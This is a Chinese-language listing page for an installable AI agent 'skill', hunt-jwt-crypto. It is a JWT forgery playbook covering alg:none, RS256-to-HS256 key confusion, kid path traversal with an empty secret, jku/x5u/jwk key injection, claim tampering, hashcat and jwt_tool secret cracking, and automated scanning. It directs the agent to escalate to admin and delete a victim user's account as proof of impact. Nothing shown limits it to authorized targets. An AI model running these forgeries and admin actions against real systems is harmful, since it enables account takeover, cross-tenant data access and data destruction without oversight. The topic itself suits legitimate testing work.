关于 hunt-jwt-crypto
hunt-jwt-crypto 是面向安全测试人员的 JWT 验证缺陷测试技能,涵盖算法混淆、密钥处理、声明篡改和弱 HMAC 密钥等情形。它还包括验证步骤,用于确认伪造令牌是否造成跨身份访问。
主要功能
- 01测试 alg:none 与 RS256/HS256 混淆
- 02检查 kid、jku、x5u 和 jwk 处理
- 03测试过期声明与租户声明篡改
- 04离线检查弱 HMAC 密钥
- 05验证跨身份访问影响
适用场景
- 01评估 JWT 验证器是否接受伪造令牌
- 02检查令牌密钥查找和公钥来源处理
- 03确认声明篡改能否访问其他用户或租户资源
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-jwt-crypto安装后在 Claude Code 中输入/hunt-jwt-crypto确认已加载。
详细介绍
HUNT-JWT-CRYPTO — 可伪造的 JSON Web Token(A04 加密失效)
真正有价值的地方
JWT 的格式为 header.payload.signature,每一部分都经过 base64url 编码。签名是阻止你编辑载荷(你的身份/角色)并重放令牌的唯一保障。如果能骗过验证器,让它接受你伪造的令牌,你就能冒充其他用户或管理员,而无需他们的密钥,通常可获得高危/严重级别的影响。
两种经典且通用的验证器缺陷:
alg:none— 验证器信任令牌自身的alg标头。将其设为alg:"none",删除签名,再编辑载荷(例如role:"admin"、 其他用户的id/email)。有缺陷的验证器会跳过签名检查。- RS256 → HS256 密钥混淆 — 令牌使用 RS256(非对称)签名。RSA 公钥按定义是公开的。如果验证器允许你选择 HS256,它就会将该公钥用作 HMAC 密钥——而你也知道这个密钥。使用公钥通过 HS256 为编辑后的载荷签名,验证就会通过。
侦察 — 此应用是否基于 JWT?
Login/token responses containing "token":"eyJ..." or Set-Cookie: token=eyJ...
Authorization: Bearer eyJ... on authenticated requests
A JWKS / public-key endpoint: /.well-known/jwks.json, /jwks, public-key in the JS bundle
解码标头(对第一段进行 base64url 解码)。"alg":"RS256" → 尝试密钥混淆。无论 alg 是什么,都先尝试 alg:none;这是免费的。
伪造令牌(不要手动编码 base64——请使用 JWT 工具)
使用专用工具确保编码/签名正确:jwt_tool
(jwt_tool <token> -T 可交互式篡改,-X a 用于 alg:none,-X k -pk public.pem 用于密钥混淆)、Burp 的 JWT Editor 扩展,或几行
PyJWT 代码。以下每种伪造方式都说明了其原理以及要编辑的声明。
alg:none — 成为管理员/其他用户
header: {"alg":"none","typ":"JWT"}
payload: {"data":{"id":1,"email":"[email protected]","role":"admin"}}
signature: (empty — keep the trailing dot: header.payload. )
有些验证器会拒绝小写的 none,但接受 None/NONE/nOnE——尝试不同大小写形式。
RS256 → HS256 密钥混淆 — 获取 RSA 公钥后
1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
/.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
jwt_tool <token> -X k -pk public.pem
payload edit: {"sub":"administrator"} (or role:"admin" / another user's id)
kid 标头注入 — 验证器从 kid 指定的 FILE 加载 HMAC 密钥
header: {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret: "" (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}
先从密钥目录向上遍历。若密钥查找会访问数据库/shell/URL,kid 也可能携带 SQLi/命令注入/SSRF——原理相同:kid 由攻击者控制,并会传入危险的处理环节。
jku / x5u 标头注入(RS256)— 验证器从令牌中的 URL 获取公钥
1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
path on the target's OWN domain so the fetch resolves to your JWKS.
jwk 标头自签名密钥注入(RS256)— 在令牌中嵌入攻击者控制的公钥
header: {"alg":"RS256","jwk":{"kty":"RSA","n":"<your_rsa_modulus>","e":"AQAB"}}
payload: {"sub":"administrator"}
signature: (sign with your matching private key)
有些验证器会错误地信任标头中的 jwk(JSON Web Key)声明,并用它来验证签名。生成自己的 RSA 密钥对,将公钥嵌入令牌标头,用私钥签名后发送。如果验证器不验证密钥来源或不使用允许列表,这种方式就能奏效。
过期/基于时间的声明操纵
Remove "exp" (expiration) claim entirely — many validators skip the check if absent.
Or set "nbf" (not before) to the past and "exp" (expiration) to far future (e.g. year 2099).
Edit payload: {"sub":"administrator","nbf":1000000000,"exp":4102444800}
如果验证器不严格执行过期规则,将其与上述任意伪造技术(alg:none、密钥混淆、jwk 注入)结合使用,即可绕过基于时间的验证。
跨租户声明注入 — 通过替换声明访问其他租户的数据
Identify tenant-related claims in a decoded real token: "org_id", "tenant", "account_id",
"workspace_id", "customer_id". Edit the target claim to another tenant's value.
Example: {"sub":"[email protected]","org_id":1234} → change org_id to an admin's org (e.g. 9999).
这是通过声明系统性地利用 IDOR——如果授权逻辑信任令牌声明,却不在服务端检查所有权,你就能访问其他租户的资源。与 alg:none 或弱密钥攻击结合时尤其有效。
让 payload 的结构与应用中的真实令牌相匹配(先解码一个令牌)——保留其声明名称,只修改身份/角色。如果载荷无法被应用解析,尝试就会因错误原因而失败,白白浪费机会。
离线攻击 — 破解弱 HMAC 密钥
如果令牌使用 HS256(基于 HMAC),且密钥较弱或重复使用了已知密码列表中的密码:
# Hashcat: mode 16500 = JWT
hashcat -a 0 -m 16500 <jwt_file> rockyou.txt
# jwt_tool: built-in wordlist cracking
jwt_tool <token> -C -d wordlist.txt
破解密钥后,就可以使用该密钥通过 HS256 伪造任意令牌(使用 jwt_tool 或 PyJWT)。
自动化攻击
使用专用 JWT 攻击套件,并行运行所有已知的伪造方式:
# jwt_tool: auto-try alg:none, key confusion, kid injection, etc.
jwt_tool <token> -X a
# Nuclei: automated JWT vuln scanning
nuclei -u <target_url> -t jwt/ -timeout 10s
在 JWT 侦察早期运行这些工具;它们通常比手动串联各项技术更快发现漏洞。
直奔 ADMIN 目标 — 不要止步于 forge 可用
forge 能加载你自己的 /my-account 并不是目标——这只能证明 forge 机制有效。目标几乎总是 admin(访问仅限 admin 的页面并执行 admin 操作,例如删除用户)。一旦 forge 被接受,就要立即提升权限——将身份改为 admin,并瞄准 admin 端点。不要继续对 /my-account 反复 forge 或重新登录;那是在偏离目标。
固定的权限提升顺序(按顺序执行,不要循环回到前面的步骤):
- forge admin 身份并访问 admin 页面(尝试这些声明名称——与解码后的真实令牌匹配:
sub、role、isAdmin、username),例如使用一个 HS256 令牌,将kid指向/dev/null,并使用空密钥,载荷为{"sub":"administrator"},发送到GET /admin。 - 当
/admin返回 200 时(你会看到 admin 控件或删除链接),使用同一个伪造令牌执行 admin 操作——典型操作是删除目标用户帐户,例如GET /admin/delete?username=<victimuser>(某些应用使用POST /admin/delete——查看 admin 页面以确认准确的表单和请求方法)。
/admin 返回 401 表示 forge 或声明有误——只更改一项(kid 深度、声明名称或值,或 alg),然后重试 /admin。绝不要退回到不带身份验证的 GET /admin(不带令牌)——那样总会返回 401,只会浪费精力。
影响证明
将伪造令牌用于受保护的/admin 端点,并证明你读取了本不应读取的数据:用户帐户列表(包含多名用户的电子邮件)、其他用户的对象,或已完成的 admin 操作(删除用户的确认信息)。使用伪造令牌读取 admin 用户列表或执行 admin 操作,即为漏洞利用。仅返回你自己数据的 200,或 401,都不能作为证明。
验证规范
- 解码并确认你发送的令牌确实包含经过编辑的声明。
- 成功的关键是跨身份访问数据,而不只是返回 200。请在响应中展示其他用户的数据(例如其他用户的电子邮件)。
- 如果
alg:none被拒绝(401),这只说明该漏洞已修补——在断定应用安全之前,先尝试密钥混淆。